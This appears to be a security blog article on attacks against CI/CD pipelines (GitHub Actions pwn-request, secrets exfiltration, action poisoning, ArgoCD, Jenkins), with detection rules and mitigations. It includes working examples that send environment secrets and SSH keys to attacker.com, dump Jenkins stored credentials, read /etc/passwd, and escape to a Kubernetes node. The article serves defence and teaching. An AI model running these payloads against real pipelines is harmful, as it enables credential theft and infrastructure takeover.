The pull request looked legitimate. A minor documentation fix from a new contributor. The reviewer approved it. GitHub Actions triggered automatically.
Three minutes later, the attacker had the organization’s AWS credentials, NPM publish token, and the private key used to sign production releases — all exfiltrated before anyone noticed.
TL;DR
- CI/CD pipelines accumulate production credentials, cloud keys, and signing certificates — making them a high-value target that lives outside most security monitoring
- pwn-request:
pull_request_targetworkflows that check out PR code run attacker-controlled code with full access to repository secrets- Secrets exfiltration: CI runners expose credentials through logs, artifacts, and direct HTTP exfiltration
- Action poisoning: third-party GitHub Actions can be compromised at the source — the tj-actions/changed-files incident (March 2025) exfiltrated secrets from thousands of repositories simultaneously
- ArgoCD and Jenkins: exposed management interfaces with default configurations lead to direct Kubernetes cluster or server compromise
- Detection requires GitHub audit logs, runner-level process monitoring, and behavioral analysis of workflow changes
Table of Contents
- Why CI/CD Is the Target
- Attack 1: pwn-request — pull_request_target Abuse
- Attack 2: Secrets Exfiltration from CI Runners
- Attack 3: Poisoning Third-Party Actions
- Attack 4: ArgoCD Misconfigurations
- Attack 5: Jenkins Groovy RCE
- Real-World Incidents
- Detection Reference
- Mitigations
Why CI/CD Is the Target
A modern CI/CD pipeline is, from an attacker’s perspective, a privileged service account with code execution capabilities.
Consider what a typical pipeline stores and accesses:
- Cloud credentials (AWS, GCP, Azure) to deploy infrastructure
- Package registry tokens (NPM, PyPI, Docker Hub) to push releases
- Kubernetes kubeconfig to deploy to production clusters
- Code signing certificates that make output trusted by default
- SSH keys for server access
- API keys for every third-party integration the application uses
All of these live as secrets in the CI environment. And the pipeline runs code automatically — triggered by pull requests, commits, or schedules — often with minimal human review. If you can influence what code the pipeline executes, you inherit everything it can access.
| Attack vector | What it exposes | Complexity |
|---|---|---|
| pwn-request | Repo secrets, GITHUB_TOKEN, deploy keys | Low |
| Secrets in logs/artifacts | Any CI platform secret | Low |
| Action poisoning | All repos using compromised action | Medium |
| ArgoCD default config | Kubernetes cluster | Low–Medium |
| Jenkins Groovy console | CI server, stored credentials | Low (if exposed) |
| Dependency confusion | Package-consuming pipelines | Medium |
Attack 1: pwn-request — pull_request_target Abuse
This is the most common CI/CD attack vector and affects GitHub Actions specifically. The name “pwn-request” comes from the security research community — it describes compromising a repository by submitting a pull request.
The trigger difference:
GitHub Actions has two triggers for pull requests:
pull_request— runs in the context of the fork. No access to repository secrets. Safe for external contributions.pull_request_target— runs in the context of the base repository. Has full access to secrets. Intended for workflows that legitimately need elevated permissions, such as posting PR status comments.
The vulnerability arises when a workflow uses pull_request_target but also checks out the PR’s code — giving attacker-controlled code access to repository secrets.
Vulnerable workflow pattern:
# .github/workflows/test.yml — VULNERABLEon: pull_request_target: types: [opened, synchronize]
jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # ← checks out attacker's code - name: Install and test run: npm ci && npm test # ← executes attacker's package.json scriptsThe ref parameter overrides the default checkout to pull the PR submitter’s code. Combined with pull_request_target, the workflow executes untrusted code with access to all repository secrets.
Attacker’s payload in their fork’s package.json:
{ "scripts": { "test": "curl -s -X POST https://attacker.com/collect -d \"$(env | base64 -w0)\"" }}When the base repository’s CI runs npm test, every environment variable — including AWS_ACCESS_KEY_ID, NPM_TOKEN, GITHUB_TOKEN, and any custom secrets — is delivered to the attacker.
Direct workflow injection:
# Malicious step added to a workflow file in the PR- name: Exfil run: | echo "${{ toJSON(secrets) }}" | base64 | \ curl -d @- https://attacker.com/Note: GitHub redacts known secret values in displayed logs — but toJSON(secrets) in a run: step sends the data directly outbound before any log redaction occurs.
Attack 2: Secrets Exfiltration from CI Runners
Even without pwn-request, CI runners are a rich target for credential theft through misconfigurations that are far more common than attackers who exploit them.
Secrets printed to logs:
# Common debugging pattern that creates a persistent security issue:- run: echo "Connecting to $DATABASE_URL"# GitHub masks exact matches of known secrets in UI — but:# - Encoded variants (base64, URL-encoded) are not masked# - Substrings and partial values are not masked# - Logs from third-party integrations may not apply maskingSecrets persisted to artifacts:
- name: Debug dump run: env > debug.txt
- uses: actions/upload-artifact@v4 with: name: debug-output path: debug.txt retention-days: 90# Anyone with repository read access can download this artifact for 90 daysSelf-hosted runner persistence:
Self-hosted runners store their registration credentials on disk. A compromised runner machine gives an attacker persistent access to all future job execution:
# Runner credentials locationcat /home/runner/actions-runner/.credentials# Contains runner registration token — usable to register additional runners# or read job environment on future runsThe critical risk: self-hosted runners configured for multiple repositories or organizations give an attacker lateral movement across every project that uses them.
Lateral movement from CI to cloud:
# From inside a legitimate CI job with over-privileged AWS credentials:aws iam list-users # enumerate IAM identitiesaws s3 ls # list all accessible bucketsaws secretsmanager list-secrets # discover additional stored credentialsaws sts assume-role --role-arn arn:aws:iam::123456789:role/prod-deploy \ --role-session-name pwned # escalate to production roleCI/CD pipelines routinely hold AdministratorAccess equivalent cloud credentials. The blast radius of a pipeline compromise is often the entire cloud account.
Attack 3: Poisoning Third-Party Actions
GitHub Actions are referenced as owner/repo@version. If an attacker compromises the referenced action repository, they inject malicious steps into every repository that uses it — simultaneously, with no action required from the victims.
The tj-actions incident (March 2025):
tj-actions/changed-files was one of the most widely used GitHub Actions — installed in thousands of repositories to detect file changes in pull requests. In March 2025, attackers compromised the action by redirecting the referenced tag to a malicious commit.
The injected code printed CI secrets to workflow logs:
# Payload injected into the compromised actionimport os, base64, sys
sensitive = {k: v for k, v in os.environ.items() if any( kw in k.upper() for kw in ['TOKEN', 'SECRET', 'KEY', 'PASSWORD', 'CREDENTIAL', 'AUTH'])}sys.stdout.write(base64.b64encode(str(sensitive).encode()).decode())sys.stdout.flush()Log output is visible to anyone with repository read access. In the 90-day default retention window before logs expire, attackers can retrieve exfiltrated credentials from any affected repository’s workflow logs. The same campaign simultaneously compromised reviewdog/action-setup.
Why version pinning prevents this:
# UNSAFE — @v44 is a mutable tag; the owner can move it to any commit:- uses: tj-actions/changed-files@v44
# SAFE — commit SHA is immutable; this exact code will always execute:- uses: tj-actions/changed-files@d6babd6899969df1a11d14c368283ea4436bca78When a tag like @v44 is moved to point to a malicious commit, every repository using @v44 immediately starts executing malicious code. A pinned SHA cannot be silently redirected.
Verifying action integrity:
# Confirm the SHA you're pinning is what you expect:git ls-remote https://github.com/tj-actions/changed-files refs/tags/v44# Compare against the commit SHA currently associated with the tag# before pinningAttack 4: ArgoCD Misconfigurations
ArgoCD is a GitOps continuous delivery tool that monitors a Git repository and automatically syncs Kubernetes manifests to a cluster. Misconfigurations turn it into a direct path to cluster compromise.
Default credential exposure:
In ArgoCD versions prior to 2.5, the initial admin password was set to the name of the argocd-server pod — predictable and documented in the official quickstart guide:
# Retrieve default admin password (ArgoCD < 2.5):kubectl get pods -n argocd -l app.kubernetes.io/name=argocd-server \ -o name | cut -d'/' -f 2Current versions use a randomly generated initial password stored in a secret, but many production deployments were never rotated after initial setup.
Exposed ArgoCD API:
With valid credentials (or defaults), an attacker can deploy arbitrary Kubernetes manifests:
argocd login argocd.target.internal --username admin --password <password>argocd app list
# Sync a modified application — deploys whatever is now in the monitored repoargocd app sync production-app --forceGitOps repo compromise → cluster escape:
If the monitored Git repository is compromised (via pwn-request or a stolen deploy key), a malicious Kubernetes manifest committed to it will be automatically synced:
# Committed to monitored repo — ArgoCD deploys it automatically:apiVersion: v1kind: Podmetadata: name: node-escape namespace: kube-systemspec: hostPID: true hostNetwork: true hostIPC: true containers: - name: shell image: alpine command: ["/bin/sh", "-c", "nsenter -t 1 -m -u -i -n -- bash"] securityContext: privileged: true volumeMounts: - mountPath: /host name: host-root volumes: - name: host-root hostPath: path: /This pod runs with host namespaces and mounts the underlying node’s filesystem — full node compromise via GitOps automation.
CVE-2022-24348 — repository server path traversal:
A path traversal in ArgoCD’s repository server allowed reading arbitrary files from the repo-server pod filesystem, including mounted Kubernetes secrets and service account tokens that could be used to authenticate to the cluster API directly.
Attack 5: Jenkins Groovy RCE
Jenkins uses Groovy for pipeline definitions (Jenkinsfile) and provides a built-in Groovy script console at /script — which executes arbitrary code on the Jenkins server with the permissions of the Jenkins process.
Exposed script console:
On Jenkins instances with authentication disabled or default credentials in use:
// Jenkins Groovy console — arbitrary OS command execution:def cmd = "id && hostname && cat /etc/passwd".execute()println cmd.text
// Extract all stored credentials from the Jenkins credential store:import com.cloudbees.plugins.credentials.*import com.cloudbees.plugins.credentials.impl.*
CredentialsProvider.lookupCredentials( UsernamePasswordCredentialsImpl.class, Jenkins.instance, null, null).each { c -> println "${c.id}: ${c.username} / ${c.password.plainText}"}Jenkinsfile injection:
If an attacker can modify a Jenkinsfile in a repository monitored by Jenkins:
pipeline { agent any stages { stage('Build') { steps { sh ''' # Exfiltrate all environment variables including credentials env | base64 | curl -s -d @- https://attacker.com/ # Read Jenkins agent's SSH key if present cat ~/.ssh/id_rsa 2>/dev/null | curl -s -d @- https://attacker.com/ssh ''' } } }}Groovy sandbox escape:
Jenkins’ Script Security plugin sandboxes pipeline Groovy execution. However, numerous sandbox escapes have been documented — they allow breaking out to execute arbitrary Java or OS-level code, effectively equivalent to direct script console access:
// Sandbox escape pattern (conceptual — specifics vary by Jenkins version):import groovy.transform.*@groovy.transform.CompileStaticclass Exploit { static def run() { Runtime.runtime.exec("curl -d @/etc/passwd https://attacker.com/") }}Exploit.run()Unpatched Jenkins instances running the Script Security plugin prior to version 1.77 are vulnerable to multiple documented escapes.
Real-World Incidents
| Incident | Year | Pipeline impact |
|---|---|---|
| SolarWinds Orion | 2020 | Build server compromised; SUNBURST backdoor injected into signed Orion updates before compilation |
| Codecov | 2021 | CI bash uploader script modified; environment variables (including GCP keys, tokens) exfiltrated from thousands of pipelines |
| 3CX | 2023 | Build environment compromised; signed 3CX Desktop App shipped with embedded DLL loader — downstream users received signed malware |
| tj-actions/changed-files | 2025 | Action compromised via tag redirect; secrets exfiltrated from logs across thousands of repositories |
| reviewdog/action-setup | 2025 | Same campaign as tj-actions; simultaneous compromise, same exfiltration payload |
The SolarWinds and 3CX incidents illustrate the highest-impact variant: build-time injection that produces legitimately signed malicious artifacts. Runtime detection cannot catch these — the signed binary itself is the threat vector, and downstream users have no reason to distrust a valid signature.
Detection Reference
GitHub Audit Log Events
# High-value events to monitor in GitHub org audit logs:workflows.created_workflow_run # new workflow triggeredworkflows.approve_workflow_run # maintainer approved external PR workfloworg.secret_scanning_alert_created # potential secret exposure detectedrepo.add_member # new contributor added with write accessprotected_branch.update_protection_rule # branch protection weakenedSigma — pwn-request Pattern Detection:
title: GitHub Actions Workflow Using pull_request_target Triggerid: c9a3b2e1-5f7d-4a8b-9c2e-1f3d5e7a9b1cstatus: experimentaldescription: Detects new or modified GitHub Actions workflows using the pull_request_target trigger — requires manual review to determine if PR code checkout is presentlogsource: category: application product: github service: audit_logdetection: selection: action: workflows.created_workflow_run event_type: pull_request_target condition: selectionfalsepositives: - Legitimate pull_request_target workflows used for PR labeling, commenting, or status checks that do not check out PR codelevel: mediumtags: - attack.execution - attack.t1059 - attack.t1195.002Sigma — CI Runner Secrets Exfiltration:
title: CI Runner HTTP Exfiltration via curl or wgetid: d4e5f6a7-b8c9-4d0e-a1f2-b3c4d5e6f7a8status: experimentaldescription: Detects curl or wget commands in CI runner processes sending POST data to external hosts — potential secrets exfiltration from pipelinelogsource: product: linux service: auditddetection: selection: type: EXECVE a0|contains: - 'curl' - 'wget' a1|contains: - '-d' - '--data' - '--data-binary' - '-F' filter_legit_domains: a2|contains: - 'github.com' - 'githubusercontent.com' - 'actions.github.com' - 'pkg.github.com' condition: selection and not filter_legit_domainsfalsepositives: - Legitimate deployment steps POSTing to known internal endpointslevel: hightags: - attack.exfiltration - attack.t1048 - attack.t1048.002Wazuh — Jenkins Script Console Access:
<rule id="100500" level="10"> <if_group>web</if_group> <url>/script</url> <match>POST</match> <description>Jenkins Groovy script console execution attempt</description> <mitre> <id>T1059.007</id> </mitre></rule>
<rule id="100501" level="14"> <if_sid>100500</if_sid> <srcip>!10.0.0.0/8</srcip> <srcip>!192.168.0.0/16</srcip> <srcip>!172.16.0.0/12</srcip> <description>Jenkins Groovy console accessed from external IP — potential RCE</description> <group>attack,rce</group></rule>Sentinel KQL — ArgoCD Anonymous or Unexpected API Access:
AzureDiagnostics| where Category == "kube-apiserver"| where requestURI_s contains "/api/v1/namespaces/argocd"| where responseStatus_d in (200, 201, 202)| where username_s == "system:anonymous" or (username_s !startswith "system:serviceaccount:argocd" and username_s !startswith "argocd")| summarize RequestCount = count(), URIs = make_set(requestURI_s, 10) by bin(TimeGenerated, 5m), username_s, clientIP_s| where RequestCount > 3| order by TimeGenerated descauditd — Credential File Access from CI Process:
# Alert on access to common credential file locations from runner processes-a always,exit -F arch=b64 -S openat -F dir=/home/runner/.aws -F auid>=1000 -k ci_aws_access-a always,exit -F arch=b64 -S openat -F path=/home/runner/.ssh/id_rsa -k ci_ssh_key-a always,exit -F arch=b64 -S openat -F dir=/home/runner/actions-runner -F a2&004 -k runner_cred_accessMitigations
| Attack | Mitigation | Priority |
|---|---|---|
| pwn-request | Never check out PR head.sha in pull_request_target workflows; use pull_request for untrusted code | Critical |
| Action poisoning | Pin all third-party actions to immutable commit SHA; use Dependabot to track upstream changes | Critical |
| Secrets in logs | Enable secret scanning; use ::add-mask::$VALUE for dynamic values; audit artifact contents before upload | High |
| Self-hosted runners | Isolate runners per environment; never share runners between internal and untrusted PR jobs; treat runner machines as privileged hosts | High |
| ArgoCD defaults | Rotate initial admin password immediately; enable RBAC; restrict API server access to internal networks; require SSO | High |
| Jenkins exposure | Disable anonymous access; require authentication for all endpoints including /script; apply Script Security plugin updates | High |
| Over-privileged GITHUB_TOKEN | Use permissions: block to restrict GITHUB_TOKEN to minimum required scopes per workflow | High |
| Credential over-privilege | Apply least privilege to cloud credentials in CI; use short-lived OIDC tokens instead of long-lived static keys where possible | High |
| GitOps manifest injection | Require signed commits on ArgoCD-monitored repositories; use branch protection with required reviews | Medium |
Related Posts
- npm Supply Chain Attack: How axios@1.14.1 Was Backdoored — supply chain compromise from the package registry side
- Non-Human Identity Security: The Biggest Blind Spot of 2026 — service account and machine credential abuse across the enterprise
- GitHub Secrets Management Crisis: 65% of AI Companies Leaked Credentials — how credentials surface in repositories
- Kubernetes and Container Security: Attack Chains and Defenses — what happens after a malicious pipeline delivers workloads to a cluster
Sources
- GitHub Security Lab: Keeping your GitHub Actions and workflows secure — Preventing pwn requests
- Legit Security: tj-actions/changed-files supply chain attack analysis
- StepSecurity: Harden Runner — detecting actions supply chain attacks
- OWASP: Top 10 CI/CD Security Risks
- Palo Alto Unit 42: 3CX Supply Chain Attack Analysis
- CISA Advisory AA20-352A: Advanced Persistent Threat Compromise of Government Agencies (SolarWinds)
- Codecov Security Update
- NVD: CVE-2022-24348 — ArgoCD Path Traversal
- Praetorian: Attacking GitHub Actions
- NCC Group: Use of GitHub Actions in Supply Chain Attacks